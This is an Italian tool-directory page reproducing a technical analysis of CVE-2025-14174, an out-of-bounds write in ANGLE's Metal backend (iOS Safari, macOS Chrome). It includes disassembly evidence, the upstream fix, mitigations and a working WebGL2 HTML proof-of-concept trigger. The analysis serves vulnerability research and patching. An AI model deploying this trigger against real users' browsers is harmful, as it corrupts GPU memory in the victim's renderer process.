Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-14174-analysis — Analisi e PoC per CVE-2025-14174 - scrittura OOB in ANGLE Metal (iOS Safari, macOS Chrome) | Kitploit
Strumenti/GitHubGitHub/typeconfused/cve-2025-14174-analysis
Sicurezza iOSAnalisi delle VulnerabilitàExploitSicurezza WebSicurezza MobileSicurezza HardwareAnalisi di Binari
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi e PoC per CVE-2025-14174 - scrittura OOB in ANGLE Metal (iOS Safari, macOS Chrome)

Vedi Repository
117 mesi faNon ancora revisionato

Analisi di CVE-2025-14174: Scrittura fuori dai limiti dello Staging Buffer Metal di ANGLE

Analisi tecnica e proof-of-concept per CVE-2025-14174

CVECVE-2025-14174
SeverityAlta
Exploited ITWSì - attacchi mirati su iOS < 26
AffectediOS Safari, macOS Chrome/Chromium/Electron (non macOS Safari)
StatusCorretto nel commit ANGLE 95a32cb
CreditApple, Google Threat Analysis Group

Sfruttamento in-the-wild

Secondo Apple, CVE-2025-14174 è stata sfruttata nell'ambito di un "attacco estremamente sofisticato contro specifici individui presi di mira" su versioni di iOS precedenti a iOS 26.

La catena di attacco includeva:

  • CVE-2025-14174 (questa analisi) - scrittura OOB in ANGLE Metal
  • CVE-2025-43529 (WebKit Bug 302502) - use-after-free in WebKit

Indice

  • Riepilogo
  • Piattaforme interessate
  • Impatto
  • Causa principale
  • Condizioni di attivazione
  • Analisi tecnica
  • Proof of Concept
  • La correzione
  • Note di rilevamento
  • Mitigazioni
  • Riferimenti

Riepilogo

Esiste una vulnerabilità di scrittura fuori dai limiti (OOB) nel backend Metal di ANGLE quando si caricano texture di profondità tramite uno staging buffer. La dimensione dello staging buffer viene calcolata usando GL_UNPACK_IMAGE_HEIGHT invece dell'altezza effettiva della texture. Quando UNPACK_IMAGE_HEIGHT < height, ANGLE alloca un buffer di dimensioni insufficienti e successivamente vi scrive height righe, causando una corruzione della memoria GPU nel processo renderer.


Piattaforme interessate

Questa vulnerabilità colpisce le applicazioni che utilizzano il backend Metal di ANGLE per WebGL:

Dettagli sulle piattaforme

Safari su iOS è interessato. Su iOS, WebKit usa ANGLE come backend WebGL, rendendo vulnerabili Safari su iPhone e iPad.

Safari su macOS NON è interessato. Su macOS, Safari usa l'implementazione WebGL nativa di WebKit che interfaccia direttamente con Metal, bypassando completamente ANGLE.

Chrome su macOS è interessato. Google Chrome in esecuzione su macOS 26.1 è apparso vulnerabile durante i test, poiché usa il backend Metal di ANGLE per WebGL.

Il percorso di codice vulnerabile esiste nella classe TextureMtl di ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Impatto

GravitàDescrizione
ConfermatoScrittura oltre la fine dello staging buffer nel backend GPU/Metal

Caratteristiche principali:

  • Il bug è silenzioso in WebGL (tipicamente restituisce NO_ERROR)
  • Nessun artefatto di rendering visibile nella maggior parte dei casi
  • I livelli di validazione Metal potrebbero non rilevare l'overflow
  • Potenziale di instabilità o sfruttamento del processo GPU a seconda del layout dell'heap

Causa principale

Nel percorso di caricamento delle texture di profondità D32F, ANGLE calcola pixelsDepthPitch da GL_UNPACK_IMAGE_HEIGHT e usa questo valore per dimensionare lo staging MTLBuffer. Tuttavia, il successivo dispatch di compute (saturazione della profondità) usa l'altezza effettiva della texture per l'operazione, causando una scrittura OOB quando i parametri differiscono.

Esempio di disallineamento delle dimensioni

Per width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:


Condizioni di attivazione

Devono essere vere tutte le seguenti condizioni:

  1. Contesto WebGL2 (richiesto per il supporto PBO)
  2. Formato texture di profondità DEPTH_COMPONENT32F (verificato; altri formati di profondità potrebbero essere interessati ma non testati)
  3. Pixel Buffer Object (PBO) associato a PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT impostato a un valore inferiore all'altezza effettiva della texture
  5. Backend Metal di ANGLE attivo (iOS Safari, oppure Chrome/Chromium/Electron su macOS)

Perché WebGL non lo blocca

GL_UNPACK_IMAGE_HEIGHT è definito dalla specifica GL per influenzare i caricamenti di texture 3D/array, non le texture 2D. Per TEXTURE_2D:

  • Il parametro è accettato ma non partecipa alla validazione WebGL
  • WebGL non rifiuta UNPACK_IMAGE_HEIGHT < height per le texture 2D
  • ANGLE usa erroneamente questo parametro per dimensionare lo staging buffer per i caricamenti di profondità

Analisi tecnica

Catena di chiamate vulnerabile

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

Evidenza binaria (iOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

Evidenza binaria (macOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

La funzione SaturateDepth esegue successivamente il dispatch di uno shader di compute Metal usando le dimensioni effettive della texture, scrivendo oltre lo staging buffer di dimensioni insufficienti.


Proof of Concept

Attivazione minima (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Risultato atteso su sistemi vulnerabili: gl.getError() restituisce NO_ERROR nonostante la scrittura OOB avvenga nel processo GPU.


La correzione

Il commit 95a32cb di ANGLE corregge l'allocazione dello staging buffer per usare le dimensioni effettive della texture:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

Inoltre, il calcolo di srcBytesPerImage è stato corretto per l'operazione di blit:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Note di rilevamento

Questa vulnerabilità è difficile da rilevare da JavaScript:

  • Gli staging buffer sono risorse Metal interne nel processo GPU
  • WebGL tipicamente restituisce NO_ERROR anche quando il bug viene attivato
  • I livelli di validazione Metal potrebbero non segnalare l'overflow
  • Nessun artefatto di rendering visibile nella maggior parte dei casi
  • Richiede strumentazione delle chiamate API Metal o debug della memoria GPU

Mitigazioni

ApproccioDescrizione
AggiornamentoApplicare gli aggiornamenti di piattaforma che contengono la correzione ANGLE

Riferimenti

  • Correzione ANGLE: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Bug Chromium: https://issues.chromium.org/issues/466192044
  • Bug WebKit (CVE-2025-43529): https://webkit.org/b/302502
  • Piattaforme interessate:
    • iOS: Safari (WebKit usa ANGLE Metal)
    • macOS: Chrome, Chromium, Electron (usano ANGLE Metal)

Crediti

Scoperta della vulnerabilità: Apple, Google Threat Analysis Group

Analisi tecnica: Questo documento descrive ricerca indipendente e reverse engineering della vulnerabilità.


Analisi condotta nell'ambito del progetto di ricerca sulla sicurezza SpiderWebKit.

Scarica lo strumento
PiattaformaSoftwareInteressatoNote
iOSSafariSìWebKit su iOS usa ANGLE Metal per WebGL
macOSChrome / ChromiumSìUsa il backend Metal di ANGLE
macOSApp ElectronSìUsa l'implementazione ANGLE di Chromium
macOSSafariNoUsa il WebGL Metal nativo di WebKit, non ANGLE
ConfermatoRiproducibile via WebGL2 + PBO + DEPTH_COMPONENT32F
PlausibileCrash del processo GPU o perdita del contesto sotto pressione di memoria
TeoricoCorruzione cross-risorsa nella memoria GPU (non dimostrata)
ParametroCalcoloValore
Passo di rigawidth * sizeof(float)4 byte
Staging buffer (allocato)rowPitch * UNPACK_IMAGE_HEIGHT512 byte
Dispatch di compute (scritto)rowPitch * actualHeight2048 byte
Scrittura OOB2048 - 5121536 byte
FunzioneIndirizzoRuolo
setSubImageImpl0x272fa9028Calcola depthPitch insufficiente
setPerSliceSubImage0x272fac240Alloca staging buffer insufficiente
MakeBufferWithStorageMode0x272ef19bcCrea MTLBuffer con dimensione errata
SaturateDepth0x272facfa4Esegue il dispatch del compute con le dimensioni reali
FunzioneIndirizzoRuolo
setSubImageImpl0x22c6d10f4Calcola depthPitch insufficiente
setPerSliceSubImage0x22c6d4398Alloca staging buffer insufficiente
MakeBufferWithStorageMode0x22c619490Crea MTLBuffer con dimensione errata
SaturateDepth0x22c6d5144Esegue il dispatch del compute con le dimensioni reali
Soluzione alternativa
Evitare di impostare UNPACK_IMAGE_HEIGHT a un valore inferiore all'altezza effettiva per le texture di profondità
Difesa in profonditàUsare caricamenti a dimensione fissa dove UNPACK_IMAGE_HEIGHT == height